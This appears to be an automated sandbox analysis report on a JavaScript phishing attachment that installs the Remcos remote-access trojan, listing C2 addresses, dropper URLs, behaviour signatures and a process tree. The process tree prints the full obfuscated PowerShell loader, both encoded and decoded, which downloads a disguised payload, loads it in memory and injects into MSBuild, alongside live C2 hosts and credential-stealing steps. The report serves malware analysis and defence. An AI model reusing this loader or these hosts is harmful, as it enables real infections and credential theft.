Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/12/2024, 12:56

General

  • Target
    PO_0099822111ORDER.js
  • Size 4KB
  • Sample241214-p6bwbasndw
  • SHA256 9b9059af739b167db6afce5129997e489dbb7baa3af27c8da5a68d564c2ed84e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

  • exe.dropper

    https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 160.25.73.25:6426

  • ruffella.duckdns.org:6426

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-QM0FWK

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PO_0099822111ORDER.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:396
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" C:\Windows\Temp\あ😒2⛑ぇ😯4♘オ😍4⛒く😾5.js
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $forsakers = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGUAbQBvAHIAYQBuAGQAdQBtAHMAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJABjAG8AbgBlAG4AbwBzAGUAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AbQBlAG0AbwByAGkAYQBsAGwAeQAgAD0AIAAkAGMAbwBuAGUAbgBvAHMAZQBzAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AZQBtAG8AcgBhAG4AZAB1AG0AcwApADsAJABlAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AbQBlAG0AbwByAGkAYQBsAGwAeQApADsAJAByAGUAcwBlAG4AdABpAHYAZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAbwB2AGUAcgBwAGEAYwBrACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHcAYQBsAGwAZQBkACAAPQAgACQAZQBkAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAHMAZQBuAHQAaQB2AGUAKQA7ACQAaABpAGcAaABsAGkAZwBoAHQAZQBkACAAPQAgACQAZQBkAC4ASQBuAGQAZQB4AE8AZgAoACQAbwB2AGUAcgBwAGEAYwBrACkAOwAkAHcAYQBsAGwAZQBkACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAaABpAGcAaABsAGkAZwBoAHQAZQBkACAALQBnAHQAIAAkAHcAYQBsAGwAZQBkADsAJAB3AGEAbABsAGUAZAAgACsAPQAgACQAcgBlAHMAZQBuAHQAaQB2AGUALgBMAGUAbgBnAHQAaAA7ACQAbABlAGcAYQB0AGkAbgBlACAAPQAgACQAaABpAGcAaABsAGkAZwBoAHQAZQBkACAALQAgACQAdwBhAGwAbABlAGQAOwAkAG0AZQB0AGUAbwByAGkAdABpAGMAIAA9ACAAJABlAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdwBhAGwAbABlAGQALAAgACQAbABlAGcAYQB0AGkAbgBlACkAOwAkAG8AcgBjAGEAcwAgAD0AIAAtAGoAbwBpAG4AIAAoACQAbQBlAHQAZQBvAHIAaQB0AGkAYwAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAbQBlAHQAZQBvAHIAaQB0AGkAYwAuAEwAZQBuAGcAdABoACkAXQA7ACQAcABlAHIAdgBhAHMAaQB2AGUAbgBlAHMAcwBlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbwByAGMAYQBzACkAOwAkAHMAeQBuAGkAegBlAHMAaQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAHAAZQByAHYAYQBzAGkAdgBlAG4AZQBzAHMAZQBzACkAOwAkAHYAdQBsAGMAYQBuAGkAcwBtAHMAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApADsAJAB2AHUAbABjAGEAbgBpAHMAbQBzAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnADAALwB0AEIAYwBEAGkALwByAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaAAnACwAIAAnAGMAbwBuAHMAdABhAG4AdABhAG4AJwAsACAAJwBjAG8AbgBzAHQAYQBuAHQAYQBuACcALAAgACcAYwBvAG4AcwB0AGEAbgB0AGEAbgAnACwAIAAnAE0AUwBCAHUAaQBsAGQAJwAsACAAJwBjAG8AbgBzAHQAYQBuAHQAYQBuACcALAAgACcAYwBvAG4AcwB0AGEAbgB0AGEAbgAnACwAJwBjAG8AbgBzAHQAYQBuAHQAYQBuACcALAAnAGMAbwBuAHMAdABhAG4AdABhAG4AJwAsACcAYwBvAG4AcwB0AGEAbgB0AGEAbgAnACwAJwBjAG8AbgBzAHQAYQBuAHQAYQBuACcALAAnAGMAbwBuAHMAdABhAG4AdABhAG4AJwAsACcAMQAnACwAJwBjAG8AbgBzAHQAYQBuAHQAYQBuACcAKQApADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsA';$asphyxiation = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($forsakers));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $asphyxiation
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2592
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$memorandums = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$conenoses = New-Object System.Net.WebClient;$immemorially = $conenoses.DownloadData($memorandums);$ed = [System.Text.Encoding]::UTF8.GetString($immemorially);$resentive = '<<BASE64_START>>';$overpack = '<<BASE64_END>>';$walled = $ed.IndexOf($resentive);$highlighted = $ed.IndexOf($overpack);$walled -ge 0 -and $highlighted -gt $walled;$walled += $resentive.Length;$legatine = $highlighted - $walled;$meteoritic = $ed.Substring($walled, $legatine);$orcas = -join ($meteoritic.ToCharArray() | ForEach-Object { $_ })[-1..-($meteoritic.Length)];$pervasivenesses = [System.Convert]::FromBase64String($orcas);$synizesis = [System.Reflection.Assembly]::Load($pervasivenesses);$vulcanisms = [dnlib.IO.Home].GetMethod('VAI');$vulcanisms.Invoke($null, @('0/tBcDi/r/ee.etsap//:sptth', 'constantan', 'constantan', 'constantan', 'MSBuild', 'constantan', 'constantan','constantan','constantan','constantan','constantan','constantan','1','constantan'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4880
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            5⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3896
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\zlnbxkyymrbzbu"
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2692
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\jnatxcjraztelidkz"
              6⤵
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:2948
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\mifmynttohlrnpzojtnvz"
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2236

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        logs.dat

        • Path C:\ProgramData\remcos\logs.dat
        • Size 144B
        • SHA256 689b45a49ac305fded6be50914084c06cbe027f4ab91a5569a8d4a4992793284
        • MD5 SHA1 SHA512

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_4srk0fjh.btu.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4srk0fjh.btu.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        zlnbxkyymrbzbu

        • Path C:\Users\Admin\AppData\Local\Temp\zlnbxkyymrbzbu
        • Size 4KB
        • SHA256 36c49c94327c8cadcad4c0d2b3a8f5162fc7bb86624923484476c5f7b960bc4c
        • MD5 SHA1 SHA512 SSDEEP

        あ😒2⛑ぇ😯4♘オ😍4⛒く😾5.js

        • Path C:\Windows\Temp\あ😒2⛑ぇ😯4♘オ😍4⛒く😾5.js
        • Size 153KB
        • SHA256 dd3dd3f0da4553ef81c7fe5ae31f89454187e3b9cbc068a76ca7a9ae8cf2a873
        • MD5 SHA1 SHA512 SSDEEP

        memory/2236-51-0x0000000000400000-0x0000000000424000-memory.dmp

        memory/2236-49-0x0000000000400000-0x0000000000424000-memory.dmp

        memory/2236-48-0x0000000000400000-0x0000000000424000-memory.dmp

        memory/2592-17-0x0000027FC93C0000-0x0000027FC93E2000-memory.dmp

        memory/2692-50-0x0000000000400000-0x0000000000478000-memory.dmp

        memory/2692-46-0x0000000000400000-0x0000000000478000-memory.dmp

        memory/2692-53-0x0000000000400000-0x0000000000478000-memory.dmp

        memory/2948-54-0x0000000000400000-0x0000000000462000-memory.dmp

        memory/2948-52-0x0000000000400000-0x0000000000462000-memory.dmp

        memory/2948-47-0x0000000000400000-0x0000000000462000-memory.dmp

        memory/3896-38-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-64-0x0000000010000000-0x0000000010019000-memory.dmp

        memory/3896-42-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-43-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-40-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-41-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-39-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-35-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-31-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-28-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-61-0x0000000010000000-0x0000000010019000-memory.dmp

        memory/3896-45-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-65-0x0000000010000000-0x0000000010019000-memory.dmp

        memory/3896-66-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-96-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-71-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-72-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-79-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-80-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-87-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-88-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/3896-95-0x0000000000400000-0x000000000047F000-memory.dmp

        memory/4880-27-0x0000028DE41E0000-0x0000028DE4338000-memory.dmp